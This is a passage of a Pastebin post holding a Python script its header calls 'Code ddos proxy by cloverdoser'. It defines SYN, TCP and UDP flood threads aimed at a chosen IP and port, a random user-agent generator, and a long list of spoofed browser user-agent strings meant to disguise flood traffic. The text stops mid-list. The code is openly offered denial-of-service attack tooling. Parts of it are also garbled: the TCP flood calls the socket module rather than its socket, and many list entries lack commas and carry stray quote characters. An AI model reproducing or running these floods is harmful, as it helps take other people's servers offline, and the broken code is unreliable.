Advertisement
Guest User

clover

a guest
Jul 4th, 2015
243
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 46.54 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #coding: utf-8
  3. #Code ddos proxy by cloverdoser
  4.  
  5. import random
  6. import socket
  7. import threading
  8. import time
  9. import datetime
  10. import urllib2
  11. import urllib
  12. import re
  13. import sys
  14. import optparse
  15. import os
  16. import urlparse
  17. class synFlood(threading.Thread):
  18.     def __init__(self, ip, port, packets):
  19.         self.ip      = ip
  20.         self.port    = port
  21.         self.packets = packets
  22.         self.syn     = socket.socket()
  23.         threading.Thread.__init__(self)
  24.     def run(self):
  25.         for i in range(self.packets):
  26.             try:
  27.                 self.syn.connect((self.ip, self.port))
  28.             except:
  29.                 pass
  30. class tcpFlood(threading.Thread):
  31.     def __init__(self, ip, port, size, packets):
  32.         self.ip      = ip
  33.         self.port    = port
  34.         self.size    = size
  35.         self.packets = packets
  36.         self.tcp     = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  37.         threading.Thread.__init__(self)
  38.     def run(self):
  39.         for i in range(self.packets):
  40.             try:
  41.                 bytes = random._urandom(self.size)
  42.                 socket.connect(self.ip, self.port)
  43.                 socket.setblocking(0)
  44.                 socket.sendto(bytes,(self.ip, self.port))
  45.             except:
  46.                 pass
  47. class udpFlood(threading.Thread):
  48.     def __init__(self, ip, port, size, packets):
  49.         self.ip      = ip
  50.         self.port    = port
  51.         self.size    = size
  52.         self.packets = packets
  53.         self.udp     = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  54.         threading.Thread.__init__(self)
  55.     def run(self):
  56.         for i in range(self.packets):
  57.             try:
  58.                 bytes = random._urandom(self.size)
  59.                 if self.port == 0:
  60.                     self.port = random.randrange(1, 65535)
  61.                 self.udp.sendto(bytes,(self.ip, self.port))
  62.             except:
  63.                 pass
  64.  
  65. url=''
  66. host=''
  67. headers_useragents=[]
  68. headers_referers=[]
  69. keyword_top=[]
  70. request_counter=0
  71. flag=0
  72. safe=0
  73. def inc_counter():
  74.     global request_counter
  75.     request_counter+=1
  76.  
  77. def set_flag(val):
  78.     global flag
  79.     flag=val
  80.    
  81. def set_safe():
  82.     global safe
  83.     safe=1
  84.  
  85. def getUserAgent():
  86.     platform = random.choice(['Macintosh', 'Windows', 'X11'])
  87.     if platform == 'Macintosh':
  88.         os  = random.choice(['68K', 'PPC'])
  89.     elif platform == 'Windows':
  90.         os  = random.choice(['Win3.11', 'WinNT3.51', 'WinNT4.0', 'Windows NT 5.0', 'Windows NT 5.1', 'Windows NT 5.2', 'Windows NT 6.0', 'Windows NT 6.1', 'Windows NT 6.2', 'Win95', 'Win98', 'Win 9x 4.90', 'WindowsCE', 'Windows 7', 'Windows 8'])
  91.     elif platform == 'X11':
  92.         os  = random.choice(['Linux i686', 'Linux x86_64'])
  93.     browser = random.choice(['chrome', 'firefox', 'ie'])
  94.     if browser == 'chrome':
  95.         webkit = str(random.randint(500, 599))
  96.         version = str(random.randint(0, 28)) + '.0' + str(random.randint(0, 1500)) + '.' + str(random.randint(0, 999))
  97.         return 'Mozilla/5.0 (' + os + ') AppleWebKit/' + webkit + '.0 (KHTML, like Gecko) Chrome/' + version + ' Safari/' + webkit
  98.     elif browser == 'firefox':
  99.         currentYear = datetime.date.today().year
  100.         year = str(random.randint(2000, currentYear))
  101.         month = random.randint(1, 12)
  102.         if month < 10:
  103.             month = '0' + str(month)
  104.         else:
  105.             month = str(month)
  106.         day = random.randint(1, 30)
  107.         if day < 10:
  108.             day = '0' + str(day)
  109.         else:
  110.             day = str(day)
  111.         gecko = year + month + day
  112.         version = str(random.randint(1, 21)) + '.0'
  113.         return 'Mozilla/5.0 (' + os + '; rv:' + version + ') Gecko/' + gecko + ' Firefox/' + version
  114.     elif browser == 'ie':
  115.         version = str(random.randint(1, 10)) + '.0'
  116.         engine = str(random.randint(1, 5)) + '.0'
  117.         option = random.choice([True, False])
  118.         if option == True:
  119.             token = random.choice(['.NET CLR', 'SV1', 'Tablet PC', 'Win64; IA64', 'Win64; x64', 'WOW64']) + '; '
  120.         else:
  121.             token = ''
  122.         return 'Mozilla/5.0 (compatible; MSIE ' + version + '; ' + os + '; ' + token + 'Trident/' + engine + ')'
  123. userAgents = [
  124.         "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)",
  125.  "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)",
  126.  "Googlebot/2.1 (http://www.googlebot.com/bot.html)",
  127.  "Opera/9.20 (Windows NT 6.0; U; en)",
  128.  "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)",
  129.  "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)",
  130.  "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0",
  131.  "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16",
  132.  "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)", # maybe not
  133.  "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13",
  134.  "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  135.  "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  136.  "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
  137.  "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)",
  138.  "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)",
  139.  "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8",
  140.  "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7",
  141.  "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
  142.  "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
  143.  "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)"
  144.  "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')"
  145.  "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')"
  146.  "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')"
  147.  "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')"
  148.  "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')"
  149.  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')"
  150.  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')"
  151.  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')"
  152.  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')"
  153.  "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')"
  154.  "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')"
  155.  "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')"
  156.  "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')"
  157.  "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')"
  158.  "Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')"
  159.  "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')"
  160.  "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')"
  161.  "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')"
  162.  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')"
  163.  "Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')"
  164.  "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')"
  165.  "Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')"
  166.  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')"
  167.  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')"
  168.  "Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')"
  169.  "Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')"
  170.  "Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')"
  171.  "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')"
  172.  "Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')"
  173.  "Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')"
  174.  "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')"
  175.  "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')"
  176.  "Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')"
  177.  "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')"
  178.  "Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')"
  179.  "Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')"
  180.  "Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')"
  181.  "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')"
  182.  "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')"
  183.  "Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')"
  184.  "Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')"
  185.  "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')"
  186.  "Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')"
  187.  "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')"
  188.  "Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')"
  189.  "Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')"
  190.  "Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')"
  191.  "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')"
  192.  "Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')"
  193.  "Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')"
  194.  "Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')"
  195.  "BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')"
  196.  "Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')""Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')"
  197.  "Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')"
  198.  "Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')"
  199.  "Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')"
  200.  "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')"
  201.  "Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')"
  202.  "BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')"
  203.  "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')"
  204.  "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')"
  205.  "Googlebot/2.1 (http://www.googlebot.com/bot.html)')"
  206.  "Opera/9.20 (Windows NT 6.0; U; en)')"
  207.  "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')"
  208.  "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')"
  209.  "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')"
  210.  "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')"
  211.  "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')"
  212.  "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')"
  213.  "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')"
  214.  "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')"
  215.  "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')"
  216.  "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')"
  217.  "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')"
  218.  "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')"
  219.  "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')""Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')"
  220.  "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')"
  221.  "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')"
  222.  "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')"
  223.  "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')"
  224.  "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')"
  225.  "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')"
  226.  "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')"
  227.  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')"
  228.  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')"
  229.  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')"
  230.  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')"
  231.  "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')"
  232.  "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')"
  233.  "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')"
  234.  "AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')"
  235.  "Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')"
  236.  "Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')"
  237.  "Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')"
  238.  "Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')"
  239.  "Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')"
  240.  "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')"
  241.  "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')"
  242.  "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')"
  243.  "Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')"
  244.  "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')"
  245.  "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')"
  246.  "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')"
  247.  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')"
  248.  "Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')"
  249.  "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')"
  250.  "Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')"
  251.  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')"
  252.  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')"
  253.  "Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')"
  254.  "Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')"
  255.  "Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')"
  256.  "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')"    "Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')"
  257.  "Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')"
  258.  "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')"
  259.  "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')"
  260.  "Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')"
  261.  "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')"
  262.  "Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')"
  263.  "Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')"
  264.  "Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')"
  265.  "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')"
  266.  "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')"
  267.  "Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')"
  268.  "Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')"
  269.  "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')"
  270.  "Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')"
  271.  "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')"
  272.  "Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')"
  273.  "Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')"
  274.  "Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')"
  275.  "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')" "Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')"
  276.  "Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')"
  277.  "Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')"  "BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')"
  278.  " Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')"
  279.  "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')"
  280.  "Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')"
  281.  "Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')"
  282.  "Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')"
  283.  "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')"
  284.  "Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')"
  285.  "BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')"
  286.       "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36",
  287.       "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36",
  288.       "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
  289.       "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
  290.       "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
  291.       "Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0",
  292.       "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0",
  293.       "Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0",
  294.       "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101  Firefox/28.0",
  295.       "Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3",
  296.       "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0",
  297.       "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0",
  298.       "Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))",
  299.       "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)",
  300.       "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)",
  301.       "Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)",
  302.       "Opera/12.0(Windows NT 5.2;U;en)Presto/22.9.168 Version/12.00",
  303.       "Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14",
